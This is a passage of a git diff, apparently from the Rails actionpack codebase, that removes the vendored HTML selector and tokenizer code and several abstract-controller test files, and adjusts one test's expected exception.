-    # The first argument is the selector expression. All other arguments
-    # are used for value substitution.
-    #
-    # Throws InvalidSelectorError is the selector expression is invalid.
-    def initialize(selector, *values)
-      raise ArgumentError, "CSS expression cannot be empty" if selector.empty?
-      @source = ""
-      values = values[0] if values.size == 1 && values[0].is_a?(Array)
-
-      # We need a copy to determine if we failed to parse, and also
-      # preserve the original pass by-ref statement.
-      statement = selector.strip.dup
-
-      # Create a simple selector, along with negation.
-      simple_selector(statement, values).each { |name, value| instance_variable_set("@#{name}", value) }
-
-      @alternates = []
-      @depends = nil
-
-      # Alternative selector.
-      if statement.sub!(/^\s*,\s*/, "")
-        second = Selector.new(statement, values)
-        @alternates << second
-        # If there are alternate selectors, we group them in the top selector.
-        if alternates = second.instance_variable_get(:@alternates)
-          second.instance_variable_set(:@alternates, [])
-          @alternates.concat alternates
-        end
-        @source << " , " << second.to_s
-      # Sibling selector: create a dependency into second selector that will
-      # match element immediately following this one.
-      elsif statement.sub!(/^\s*\+\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          if element = next_element(element)
-            second.match(element, first)
-          end
-        end
-        @source << " + " << second.to_s
-      # Adjacent selector: create a dependency into second selector that will
-      # match all elements following this one.
-      elsif statement.sub!(/^\s*~\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          while element = next_element(element)
-            if subset = second.match(element, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " ~ " << second.to_s
-      # Child selector: create a dependency into second selector that will
-      # match a child element of this one.
-      elsif statement.sub!(/^\s*>\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          element.children.each do |child|
-            if child.tag? && subset = second.match(child, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " > " << second.to_s
-      # Descendant selector: create a dependency into second selector that
-      # will match all descendant elements of this one. Note,
-      elsif statement =~ /^\s+\S+/ && statement != selector
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          stack = element.children.reverse
-          while node = stack.pop
-            next unless node.tag?
-            if subset = second.match(node, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            elsif children = node.children
-              stack.concat children.reverse
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " " << second.to_s
-      else
-        # The last selector is where we check that we parsed
-        # all the parts.
-        unless statement.empty? || statement.strip.empty?
-          raise ArgumentError, "Invalid selector: #{statement}"
-        end
-      end
-    end
-
-
-    # :call-seq:
-    #   match(element, first?) => array or nil
-    #
-    # Matches an element against the selector.
-    #
-    # For a simple selector this method returns an array with the
-    # element if the element matches, nil otherwise.
-    #
-    # For a complex selector (sibling and descendant) this method
-    # returns an array with all matching elements, nil if no match is
-    # found.
-    #
-    # Use +first_only=true+ if you are only interested in the first element.
-    #
-    # For example:
-    #   if selector.match(element)
-    #     puts "Element is a login form"
-    #   end
-    def match(element, first_only = false)
-      # Match element if no element name or element name same as element name
-      if matched = (!@tag_name || @tag_name == element.name)
-        # No match if one of the attribute matches failed
-        for attr in @attributes
-          if element.attributes[attr[0]] !~ attr[1]
-            matched = false
-            break
-          end
-        end
-      end
-
-      # Pseudo class matches (nth-child, empty, etc).
-      if matched
-        for pseudo in @pseudo
-          unless pseudo.call(element)
-            matched = false
-            break
-          end
-        end
-      end
-
-      # Negation. Same rules as above, but we fail if a match is made.
-      if matched && @negation
-        for negation in @negation
-          if negation[:tag_name] == element.name
-            matched = false
-          else
-            for attr in negation[:attributes]
-              if element.attributes[attr[0]] =~ attr[1]
-                matched = false
-                break
-              end
-            end
-          end
-          if matched
-            for pseudo in negation[:pseudo]
-              if pseudo.call(element)
-                matched = false
-                break
-              end
-            end
-          end
-          break unless matched
-        end
-      end
-
-      # If element matched but depends on another element (child,
-      # sibling, etc), apply the dependent matches instead.
-      if matched && @depends
-        matches = @depends.call(element, first_only)
-      else
-        matches = matched ? [element] : nil
-      end
-
-      # If this selector is part of the group, try all the alternative
-      # selectors (unless first_only).
-      if !first_only || !matches
-        @alternates.each do |alternate|
-          break if matches && first_only
-          if subset = alternate.match(element, first_only)
-            if matches
-              matches.concat subset
-            else
-              matches = subset
-            end
-          end
-        end
-      end
-
-      matches
-    end
-
-
-    # :call-seq:
-    #   select(root) => array
-    #
-    # Selects and returns an array with all matching elements, beginning
-    # with one node and traversing through all children depth-first.
-    # Returns an empty array if no match is found.
-    #
-    # The root node may be any element in the document, or the document
-    # itself.
-    #
-    # For example:
-    #   selector = HTML::Selector.new "input[type=text]"
-    #   matches = selector.select(element)
-    #   matches.each do |match|
-    #     puts "Found text field with name #{match.attributes['name']}"
-    #   end
-    def select(root)
-      matches = []
-      stack = [root]
-      while node = stack.pop
-        if node.tag? && subset = match(node, false)
-          subset.each do |match|
-            matches << match unless matches.any? { |item| item.equal?(match) }
-          end
-        elsif children = node.children
-          stack.concat children.reverse
-        end
-      end
-      matches
-    end
-
-
-    # Similar to #select but returns the first matching element. Returns +nil+
-    # if no element matches the selector.
-    def select_first(root)
-      stack = [root]
-      while node = stack.pop
-        if node.tag? && subset = match(node, true)
-          return subset.first if !subset.empty?
-        elsif children = node.children
-          stack.concat children.reverse
-        end
-      end
-      nil
-    end
-
-
-    def to_s #:nodoc:
-      @source
-    end
-
-
-    # Return the next element after this one. Skips sibling text nodes.
-    #
-    # With the +name+ argument, returns the next element with that name,
-    # skipping other sibling elements.
-    def next_element(element, name = nil)
-      if siblings = element.parent.children
-        found = false
-        siblings.each do |node|
-          if node.equal?(element)
-            found = true
-          elsif found && node.tag?
-            return node if (name.nil? || node.name == name)
-          end
-        end
-      end
-      nil
-    end
-
-
-  protected
-
-
-    # Creates a simple selector given the statement and array of
-    # substitution values.
-    #
-    # Returns a hash with the values +tag_name+, +attributes+,
-    # +pseudo+ (classes) and +negation+.
-    #
-    # Called the first time with +can_negate+ true to allow
-    # negation. Called a second time with false since negation
-    # cannot be negated.
-    def simple_selector(statement, values, can_negate = true)
-      tag_name = nil
-      attributes = []
-      pseudo = []
-      negation = []
-
-      # Element name. (Note that in negation, this can come at
-      # any order, but for simplicity we allow if only first).
-      statement.sub!(/^(\*|[[:alpha:]][\w\-]*)/) do |match|
-        match.strip!
-        tag_name = match.downcase unless match == "*"
-        @source << match
-        "" # Remove
-      end
-
-      # Get identifier, class, attribute name, pseudo or negation.
-      while true
-        # Element identifier.
-        next if statement.sub!(/^#(\?|[\w\-]+)/) do
-          id = $1
-          if id == "?"
-            id = values.shift
-          end
-          @source << "##{id}"
-          id = Regexp.new("^#{Regexp.escape(id.to_s)}$") unless id.is_a?(Regexp)
-          attributes << ["id", id]
-          "" # Remove
-        end
-
-        # Class name.
-        next if statement.sub!(/^\.([\w\-]+)/) do
-          class_name = $1
-          @source << ".#{class_name}"
-          class_name = Regexp.new("(^|\s)#{Regexp.escape(class_name)}($|\s)") unless class_name.is_a?(Regexp)
-          attributes << ["class", class_name]
-          "" # Remove
-        end
-
-        # Attribute value.
-        next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do
-          name, equality, value = $1, $2, $3
-          if value == "?"
-            value = values.shift
-          else
-            # Handle single and double quotes.
-            value.strip!
-            if (value[0] == ?" || value[0] == ?') && value[0] == value[-1]
-              value = value[1..-2]
-            end
-          end
-          @source << "[#{name}#{equality}'#{value}']"
-          attributes << [name.downcase.strip, attribute_match(equality, value)]
-          "" # Remove
-        end
-
-        # Root element only.
-        next if statement.sub!(/^:root/) do
-          pseudo << lambda do |element|
-            element.parent.nil? || !element.parent.tag?
-          end
-          @source << ":root"
-          "" # Remove
-        end
-
-        # Nth-child including last and of-type.
-        next if statement.sub!(/^:nth-(last-)?(child|of-type)\((odd|even|(\d+|\?)|(-?\d*|\?)?n([+\-]\d+|\?)?)\)/) do |match|
-          reverse = $1 == "last-"
-          of_type = $2 == "of-type"
-          @source << ":nth-#{$1}#{$2}("
-          case $3
-            when "odd"
-              pseudo << nth_child(2, 1, of_type, reverse)
-              @source << "odd)"
-            when "even"
-              pseudo << nth_child(2, 2, of_type, reverse)
-              @source << "even)"
-            when /^(\d+|\?)$/  # b only
-              b = ($1 == "?" ? values.shift : $1).to_i
-              pseudo << nth_child(0, b, of_type, reverse)
-              @source << "#{b})"
-            when /^(-?\d*|\?)?n([+\-]\d+|\?)?$/
-              a = ($1 == "?" ? values.shift :
-                   $1 == "" ? 1 : $1 == "-" ? -1 : $1).to_i
-              b = ($2 == "?" ? values.shift : $2).to_i
-              pseudo << nth_child(a, b, of_type, reverse)
-              @source << (b >= 0 ? "#{a}n+#{b})" : "#{a}n#{b})")
-            else
-              raise ArgumentError, "Invalid nth-child #{match}"
-          end
-          "" # Remove
-        end
-        # First/last child (of type).
-        next if statement.sub!(/^:(first|last)-(child|of-type)/) do
-          reverse = $1 == "last"
-          of_type = $2 == "of-type"
-          pseudo << nth_child(0, 1, of_type, reverse)
-          @source << ":#{$1}-#{$2}"
-          "" # Remove
-        end
-        # Only child (of type).
-        next if statement.sub!(/^:only-(child|of-type)/) do
-          of_type = $1 == "of-type"
-          pseudo << only_child(of_type)
-          @source << ":only-#{$1}"
-          "" # Remove
-        end
-
-        # Empty: no child elements or meaningful content (whitespaces
-        # are ignored).
-        next if statement.sub!(/^:empty/) do
-          pseudo << lambda do |element|
-            empty = true
-            for child in element.children
-              if child.tag? || !child.content.strip.empty?
-                empty = false
-                break
-              end
-            end
-            empty
-          end
-          @source << ":empty"
-          "" # Remove
-        end
-        # Content: match the text content of the element, stripping
-        # leading and trailing spaces.
-        next if statement.sub!(/^:content\(\s*(\?|'[^']*'|"[^"]*"|[^)]*)\s*\)/) do
-          content = $1
-          if content == "?"
-            content = values.shift
-          elsif (content[0] == ?" || content[0] == ?') && content[0] == content[-1]
-            content = content[1..-2]
-          end
-          @source << ":content('#{content}')"
-          content = Regexp.new("^#{Regexp.escape(content.to_s)}$") unless content.is_a?(Regexp)
-          pseudo << lambda do |element|
-            text = ""
-            for child in element.children
-              unless child.tag?
-                text << child.content
-              end
-            end
-            text.strip =~ content
-          end
-          "" # Remove
-        end
-
-        # Negation. Create another simple selector to handle it.
-        if statement.sub!(/^:not\(\s*/, "")
-          raise ArgumentError, "Double negatives are not missing feature" unless can_negate
-          @source << ":not("
-          negation << simple_selector(statement, values, false)
-          raise ArgumentError, "Negation not closed" unless statement.sub!(/^\s*\)/, "")
-          @source << ")"
-          next
-        end
-
-        # No match: moving on.
-        break
-      end
-
-      # Return hash. The keys are mapped to instance variables.
-      {:tag_name=>tag_name, :attributes=>attributes, :pseudo=>pseudo, :negation=>negation}
-    end
-
-
-    # Create a regular expression to match an attribute value based
-    # on the equality operator (=, ^=, |=, etc).
-    def attribute_match(equality, value)
-      regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)
-      case equality
-        when "=" then
-          # Match the attribute value in full
-          Regexp.new("^#{regexp}$")
-        when "~=" then
-          # Match a space-separated word within the attribute value
-          Regexp.new("(^|\s)#{regexp}($|\s)")
-        when "^="
-          # Match the beginning of the attribute value
-          Regexp.new("^#{regexp}")
-        when "$="
-          # Match the end of the attribute value
-          Regexp.new("#{regexp}$")
-        when "*="
-          # Match substring of the attribute value
-          regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)
-        when "|=" then
-          # Match the first space-separated item of the attribute value
-          Regexp.new("^#{regexp}($|\s)")
-        else
-          raise InvalidSelectorError, "Invalid operation/value" unless value.empty?
-          # Match all attributes values (existence check)
-          //
-      end
-    end
-
-
-    # Returns a lambda that can match an element against the nth-child
-    # pseudo class, given the following arguments:
-    # * +a+ -- Value of a part.
-    # * +b+ -- Value of b part.
-    # * +of_type+ -- True to test only elements of this type (of-type).
-    # * +reverse+ -- True to count in reverse order (last-).
-    def nth_child(a, b, of_type, reverse)
-      # a = 0 means select at index b, if b = 0 nothing selected
-      return lambda { |element| false } if a == 0 && b == 0
-      # a < 0 and b < 0 will never match against an index
-      return lambda { |element| false } if a < 0 && b < 0
-      b = a + b + 1 if b < 0   # b < 0 just picks last element from each group
-      b -= 1 unless b == 0  # b == 0 is same as b == 1, otherwise zero based
-      lambda do |element|
-        # Element must be inside parent element.
-        return false unless element.parent && element.parent.tag?
-        index = 0
-        # Get siblings, reverse if counting from last.
-        siblings = element.parent.children
-        siblings = siblings.reverse if reverse
-        # Match element name if of-type, otherwise ignore name.
-        name = of_type ? element.name : nil
-        found = false
-        for child in siblings
-          # Skip text nodes/comments.
-          if child.tag? && (name == nil || child.name == name)
-            if a == 0
-              # Shortcut when a == 0 no need to go past count
-              if index == b
-                found = child.equal?(element)
-                break
-              end
-            elsif a < 0
-              # Only look for first b elements
-              break if index > b
-              if child.equal?(element)
-                found = (index % a) == 0
-                break
-              end
-            else
-              # Otherwise, break if child found and count ==  an+b
-              if child.equal?(element)
-                found = (index % a) == b
-                break
-              end
-            end
-            index += 1
-          end
-        end
-        found
-      end
-    end
-
-
-    # Creates a only child lambda. Pass +of-type+ to only look at
-    # elements of its type.
-    def only_child(of_type)
-      lambda do |element|
-        # Element must be inside parent element.
-        return false unless element.parent && element.parent.tag?
-        name = of_type ? element.name : nil
-        other = false
-        for child in element.parent.children
-          # Skip text nodes/comments.
-          if child.tag? && (name == nil || child.name == name)
-            unless child.equal?(element)
-              other = true
-              break
-            end
-          end
-        end
-        !other
-      end
-    end
-
-
-    # Called to create a dependent selector (sibling, descendant, etc).
-    # Passes the remainder of the statement that will be reduced to zero
-    # eventually, and array of substitution values.
-    #
-    # This method is called from four places, so it helps to put it here
-    # for reuse. The only logic deals with the need to detect comma
-    # separators (alternate) and apply them to the selector group of the
-    # top selector.
-    def next_selector(statement, values)
-      second = Selector.new(statement, values)
-      # If there are alternate selectors, we group them in the top selector.
-      if alternates = second.instance_variable_get(:@alternates)
-        second.instance_variable_set(:@alternates, [])
-        @alternates.concat alternates
-      end
-      second
-    end
-
-  end
-
-
-  # See HTML::Selector.new
-  def self.selector(statement, *values)
-    Selector.new(statement, *values)
-  end
-
-
-  class Tag
-
-    def select(selector, *values)
-      selector = HTML::Selector.new(selector, values)
-      selector.select(self)
-    end
-
-  end
-
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
deleted file mode 100644
index 8ac8d34..0000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-
-  # A simple HTML tokenizer. It simply breaks a stream of text into tokens, where each
-  # token is a string. Each string represents either "text", or an HTML element.
-  #
-  # This currently assumes valid XHTML, which means no free < or > characters.
-  #
-  # Usage:
-  #
-  #   tokenizer = HTML::Tokenizer.new(text)
-  #   while token = tokenizer.next
-  #     p token
-  #   end
-  class Tokenizer #:nodoc:
-
-    # The current (byte) position in the text
-    attr_reader :position
-
-    # The current line number
-    attr_reader :line
-
-    # Create a new Tokenizer for the given text.
-    def initialize(text)
-      text.encode!
-      @scanner = StringScanner.new(text)
-      @position = 0
-      @line = 0
-      @current_line = 1
-    end
-
-    # Return the next token in the sequence, or +nil+ if there are no more tokens in
-    # the stream.
-    def next
-      return nil if @scanner.eos?
-      @position = @scanner.pos
-      @line = @current_line
-      if @scanner.check(/<\S/)
-        update_current_line(scan_tag)
-      else
-        update_current_line(scan_text)
-      end
-    end
-
-    private
-
-      # Treat the text at the current position as a tag, and scan it. Supports
-      # comments, doctype tags, and regular tags, and ignores less-than and
-      # greater-than characters within quoted strings.
-      def scan_tag
-        tag = @scanner.getch
-        if @scanner.scan(/!--/) # comment
-          tag << @scanner.matched
-          tag << (@scanner.scan_until(/--\s*>/) || @scanner.scan_until(/\Z/))
-        elsif @scanner.scan(/!\[CDATA\[/)
-          tag << @scanner.matched
-          tag << (@scanner.scan_until(/\]\]>/) || @scanner.scan_until(/\Z/))
-        elsif @scanner.scan(/!/) # doctype
-          tag << @scanner.matched
-          tag << consume_quoted_regions
-        else
-          tag << consume_quoted_regions
-        end
-        tag
-      end
-
-      # Scan all text up to the next < character and return it.
-      def scan_text
-        "#{@scanner.getch}#{@scanner.scan(/[^<]*/)}"
-      end
-
-      # Counts the number of newlines in the text and updates the current line
-      # accordingly.
-      def update_current_line(text)
-        text.scan(/\r?\n/) { @current_line += 1 }
-      end
-
-      # Skips over quoted strings, so that less-than and greater-than characters
-      # within the strings are ignored.
-      def consume_quoted_regions
-        text = ""
-        loop do
-          match = @scanner.scan_until(/['"<>]/) or break
-
-          delim = @scanner.matched
-          if delim == "<"
-            match = match.chop
-            @scanner.pos -= 1
-          end
-
-          text << match
-          break if delim == "<" || delim == ">"
-
-          # consume the quoted region
-          while match = @scanner.scan_until(/[\\#{delim}]/)
-            text << match
-            break if @scanner.matched == delim
-            break if @scanner.eos?
-            text << @scanner.getch # skip the escaped character
-          end
-        end
-        text
-      end
-  end
-
-end
diff --git a/actionpack/test/abstract/.helper_test.rb.swp b/actionpack/test/abstract/.helper_test.rb.swp
deleted file mode 100644
index d029f89..0000000
Binary files a/actionpack/test/abstract/.helper_test.rb.swp and /dev/null differ
diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionpack/test/abstract/abstract_controller_test.rb
deleted file mode 100644
index eb9143c..0000000
--- a/actionpack/test/abstract/abstract_controller_test.rb
+++ /dev/null
@@ -1,261 +0,0 @@
-require 'abstract_unit'
-require 'set'
-
-module AbstractController
-  module Testing
-
-    # Test basic dispatching.
-    # ====
-    # * Call process
-    # * Test that the response_body is set correctly
-    class SimpleController < AbstractController::Base
-    end
-
-    class Me < SimpleController
-      def index
-        self.response_body = "Hello world"
-        "Something else"
-      end
-    end
-
-    class TestBasic < ActiveSupport::TestCase
-      test "dispatching works" do
-        controller = Me.new
-        controller.process(:index)
-        assert_equal "Hello world", controller.response_body
-      end
-    end
-
-    # Test Render mixin
-    # ====
-    class RenderingController < AbstractController::Base
-      include AbstractController::Rendering
-
-      def _prefixes
-        []
-      end
-
-      def render(options = {})
-        if options.is_a?(String)
-          options = {:_template_name => options}
-        end
-        super
-      end
-
-      append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
-    end
-
-    class Me2 < RenderingController
-      def index
-        render "index.erb"
-      end
-
-      def index_to_string
-        self.response_body = render_to_string "index"
-      end
-
-      def action_with_ivars
-        @my_ivar = "Hello"
-        render "action_with_ivars.erb"
-      end
-
-      def naked_render
-        render
-      end
-
-      def rendering_to_body
-        self.response_body = render_to_body :template => "naked_render"
-      end
-
-      def rendering_to_string
-        self.response_body = render_to_string :template => "naked_render"
-      end
-    end
-
-    class TestRenderingController < ActiveSupport::TestCase
-      def setup
-        @controller = Me2.new
-      end
-
-      test "rendering templates works" do
-        @controller.process(:index)
-        assert_equal "Hello from index.erb", @controller.response_body
-      end
-
-      test "render_to_string works with a String as an argument" do
-        @controller.process(:index_to_string)
-        assert_equal "Hello from index.erb", @controller.response_body
-      end
-
-      test "rendering passes ivars to the view" do
-        @controller.process(:action_with_ivars)
-        assert_equal "Hello from index_with_ivars.erb", @controller.response_body
-      end
-
-      test "rendering with no template name" do
-        @controller.process(:naked_render)
-        assert_equal "Hello from naked_render.erb", @controller.response_body
-      end
-
-      test "rendering to a rack body" do
-        @controller.process(:rendering_to_body)
-        assert_equal "Hello from naked_render.erb", @controller.response_body
-      end
-
-      test "rendering to a string" do
-        @controller.process(:rendering_to_string)
-        assert_equal "Hello from naked_render.erb", @controller.response_body
-      end
-    end
-
-    # Test rendering with prefixes
-    # ====
-    # * self._prefix is used when defined
-    class PrefixedViews < RenderingController
-      private
-      def self.prefix
-        name.underscore
-      end
-
-      def _prefixes
-        [self.class.prefix]
-      end
-    end
-
-    class Me3 < PrefixedViews
-      def index
-        render
-      end
-
-      def formatted
-        self.formats = [:html]
-        render
-      end
-    end
-
-    class TestPrefixedViews < ActiveSupport::TestCase
-      def setup
-        @controller = Me3.new
-      end
-
-      test "templates are located inside their 'prefix' folder" do
-        @controller.process(:index)
-        assert_equal "Hello from me3/index.erb", @controller.response_body
-      end
-
-      test "templates included their format" do
-        @controller.process(:formatted)
-        assert_equal "Hello from me3/formatted.html.erb", @controller.response_body
-      end
-    end
-
-    # Test rendering with layouts
-    # ====
-    # self._layout is used when defined
-    class WithLayouts < PrefixedViews
-      include AbstractController::Layouts
-
-      private
-      def self.layout(formats)
-        find_template(name.underscore, {:formats => formats}, :_prefixes => ["layouts"])
-      rescue ActionView::MissingTemplate
-        begin
-          find_template("application", {:formats => formats}, :_prefixes => ["layouts"])
-        rescue ActionView::MissingTemplate
-        end
-      end
-
-      def render_to_body(options = {})
-        options[:_layout] = options[:layout] || _default_layout({})
-        super
-      end
-    end
-
-    class Me4 < WithLayouts
-      def index
-        render
-      end
-    end
-
-    class TestLayouts < ActiveSupport::TestCase
-      test "layouts are included" do
-        controller = Me4.new
-        controller.process(:index)
-        assert_equal "Me4 Enter : Hello from me4/index.erb : Exit", controller.response_body
-      end
-    end
-
-    # respond_to_action?(action_name)
-    # ====
-    # * A method can be used as an action only if this method
-    #   returns true when passed the method name as an argument
-    # * Defaults to true in AbstractController
-    class DefaultRespondToActionController < AbstractController::Base
-      def index() self.response_body = "success" end
-    end
-
-    class ActionMissingRespondToActionController < AbstractController::Base
-      # No actions
-    private
-      def action_missing(action_name)
-        self.response_body = "success"
-      end
-    end
-
-    class RespondToActionController < AbstractController::Base;
-      def index() self.response_body = "success" end
-
-      def fail()  self.response_body = "fail"    end
-
-    private
-
-      def method_for_action(action_name)
-        action_name.to_s != "fail" && action_name
-      end
-    end
-
-    class TestRespondToAction < ActiveSupport::TestCase
-
-      def assert_dispatch(klass, body = "success", action = :index)
-        controller = klass.new
-        controller.process(action)
-        assert_equal body, controller.response_body
-      end
-
-      test "an arbitrary method is available as an action by default" do
-        assert_dispatch DefaultRespondToActionController, "success", :index
-      end
-
-      test "raises ActionNotFound when method does not exist and action_missing is not defined" do
-        assert_raise(ActionNotFound) { DefaultRespondToActionController.new.process(:fail) }
-      end
-
-      test "dispatches to action_missing when method does not exist and action_missing is defined" do
-        assert_dispatch ActionMissingRespondToActionController, "success", :ohai
-      end
-
-      test "a method is available as an action if method_for_action returns true" do
-        assert_dispatch RespondToActionController, "success", :index
-      end
-
-      test "raises ActionNotFound if method is defined but method_for_action returns false" do
-        assert_raise(ActionNotFound) { RespondToActionController.new.process(:fail) }
-      end
-    end
-
-    class Me6 < AbstractController::Base
-      self.action_methods
-
-      def index
-      end
-    end
-
-    class TestActionMethodsReloading < ActiveSupport::TestCase
-
-      test "action_methods should be reloaded after defining a new method" do
-        assert_equal Set.new(["index"]), Me6.action_methods
-      end
-    end
-
-  end
-end
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index 5709ad0..b1a5044 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -37,7 +37,7 @@ module AbstractController
 
       test "does not register unknown mime types" do
         collector = MyCollector.new
-        assert_raise NameError do
+        assert_raise NoMethodError do
           collector.unknown
         end
       end
diff --git a/actionpack/test/abstract/helper_test.rb b/actionpack/test/abstract/helper_test.rb
deleted file mode 100644
index 2cc27fb..0000000
--- a/actionpack/test/abstract/helper_test.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'abstract_unit'
-
-ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__)
-
-module AbstractController
-  module Testing
-
-    class ControllerWithHelpers < AbstractController::Base
-      include AbstractController::Rendering
-      include AbstractController::Helpers
-
-      def with_module
-        render :inline => "Module <%= included_method %>"
-      end
-    end
-
-    module HelperyTest
-      def included_method
-        "Included"
-      end
-    end
-
-    class AbstractHelpers < ControllerWithHelpers
-      helper(HelperyTest) do
-        def helpery_test
-          "World"
-        end
-      end
-
-      helper :abc
-
-      def with_block
-        render :inline => "Hello <%= helpery_test %>"
-      end
-
-      def with_symbol
-        render :inline => "I respond to bare_a: <%= respond_to?(:bare_a) %>"
-      end
-    end
-
-    class ::HelperyTestController < AbstractHelpers
-      clear_helpers
-    end
-
-    class AbstractHelpersBlock < ControllerWithHelpers
-      helper do
-        include AbstractController::Testing::HelperyTest
-      end
-    end
-
-    class AbstractInvalidHelpers < AbstractHelpers
-      include ActionController::Helpers
-
-      path = File.join(File.expand_path('../../fixtures', __FILE__), "helpers_missing")
-      $:.unshift(path)
-      self.helpers_path = path
-    end
-
-    class TestHelpers < ActiveSupport::TestCase
-      def setup
-        @controller = AbstractHelpers.new
-      end
-
-      def test_helpers_with_block
-        @controller.process(:with_block)
-        assert_equal "Hello World", @controller.response_body
-      end
-
-      def test_helpers_with_module
-        @controller.process(:with_module)
-        assert_equal "Module Included", @controller.response_body
-      end
-
-      def test_helpers_with_symbol
-        @controller.process(:with_symbol)
-        assert_equal "I respond to bare_a: true", @controller.response_body
-      end
-
-      def test_declare_missing_helper
-        AbstractHelpers.helper :missing
-        flunk "should have raised an exception"
-      rescue LoadError => e
-        assert_equal "helpers/missing_helper.rb", e.path
-      end
-
-      def test_helpers_with_module_through_block
-        @controller = AbstractHelpersBlock.new
-        @controller.process(:with_module)
-        assert_equal "Module Included", @controller.response_body
-      end
-    end
-
-    class ClearHelpersTest < ActiveSupport::TestCase
-      def setup
-        @controller = HelperyTestController.new
-      end
-
-      def test_clears_up_previous_helpers
-        @controller.process(:with_symbol)
-        assert_equal "I respond to bare_a: false", @controller.response_body
-      end
-
-      def test_includes_controller_default_helper
-        @controller.process(:with_block)
-        assert_equal "Hello Default", @controller.response_body
-      end
-    end
-
-    class InvalidHelpersTest < ActiveSupport::TestCase
-      def test_controller_raise_error_about_real_require_problem
-        e = assert_raise(LoadError) { AbstractInvalidHelpers.helper(:invalid_require) }
-        assert_equal "No such file to load -- very_invalid_file_name", e.message
-      end
-
-      def test_controller_raise_error_about_missing_helper
-        e = assert_raise(Helpers::ClassMethods::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
-        assert_equal "Missing helper file helpers/missing_helper.rb", e.message
-      end
-    end
-  end
-end
diff --git a/actionpack/test/abstract/layouts_test.rb b/actionpack/test/abstract/layouts_test.rb
deleted file mode 100644
index 4a05c00..0000000
--- a/actionpack/test/abstract/layouts_test.rb
+++ /dev/null
@@ -1,383 +0,0 @@
-require 'abstract_unit'
-
-module AbstractControllerTests
-  module Layouts
-
-    # Base controller for these tests
-    class Base < AbstractController::Base
-      include AbstractController::Rendering
-      include AbstractController::Layouts
-
-      abstract!
-
-      self.view_paths = [ActionView::FixtureResolver.new(
-        "layouts/hello.erb"             => "With String <%= yield %>",
-        "layouts/hello_override.erb"    => "With Override <%= yield %>",
-        "layouts/overwrite.erb"         => "Overwrite <%= yield %>",
-        "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
-        "abstract_controller_tests/layouts/with_string_implied_child.erb" =>
-                                           "With Implied <%= yield %>",
-        "abstract_controller_tests/layouts/with_grand_child_of_implied.erb" =>
-                                           "With Grand Child <%= yield %>"
-
-      )]
-    end
-
-    class Blank < Base
-      self.view_paths = []
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello blank!")
-      end
-    end
-
-    class WithString < Base
-      layout "hello"
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello string!")
-      end
-
-      def overwrite_default
-        render :template => ActionView::Template::Text.new("Hello string!"), :layout => :default
-      end
-
-      def overwrite_false
-        render :template => ActionView::Template::Text.new("Hello string!"), :layout => false
-      end
-
-      def overwrite_string
-        render :template => ActionView::Template::Text.new("Hello string!"), :layout => "overwrite"
-      end
-
-      def overwrite_skip
-        render :text => "Hello text!"
-      end
-    end
-
-    class WithStringChild < WithString
-    end
-
-    class WithStringOverriddenChild < WithString
-      layout "hello_override"
-    end
-
-    class WithStringImpliedChild < WithString
-      layout nil
-    end
-
-    class WithChildOfImplied < WithStringImpliedChild
-    end
-
-    class WithGrandChildOfImplied < WithStringImpliedChild
-      layout nil
-    end
-
-    class WithProc < Base
-      layout proc { "overwrite" }
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello proc!")
-      end
-    end
-
-    class WithProcReturningNil < Base
-      layout proc { nil }
-
-      def index
-        render template: ActionView::Template::Text.new("Hello nil!")
-      end
-    end
-
-    class WithZeroArityProc < Base
-      layout proc { "overwrite" }
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello zero arity proc!")
-      end
-    end
-
-    class WithProcInContextOfInstance < Base
-      def an_instance_method; end
-
-      layout proc {
-        break unless respond_to? :an_instance_method
-        "overwrite"
-      }
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello again zero arity proc!")
-      end
-    end
-
-    class WithSymbol < Base
-      layout :hello
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello symbol!")
-      end
-    private
-      def hello
-        "overwrite"
-      end
-    end
-
-    class WithSymbolReturningNil < Base
-      layout :nilz
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello nilz!")
-      end
-
-      def nilz() end
-    end
-
-    class WithSymbolReturningObj < Base
-      layout :objekt
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello nilz!")
-      end
-
-      def objekt
-        Object.new
-      end
-    end
-
-    class WithSymbolAndNoMethod < Base
-      layout :no_method
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello boom!")
-      end
-    end
-
-    class WithMissingLayout < Base
-      layout "missing"
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello missing!")
-      end
-    end
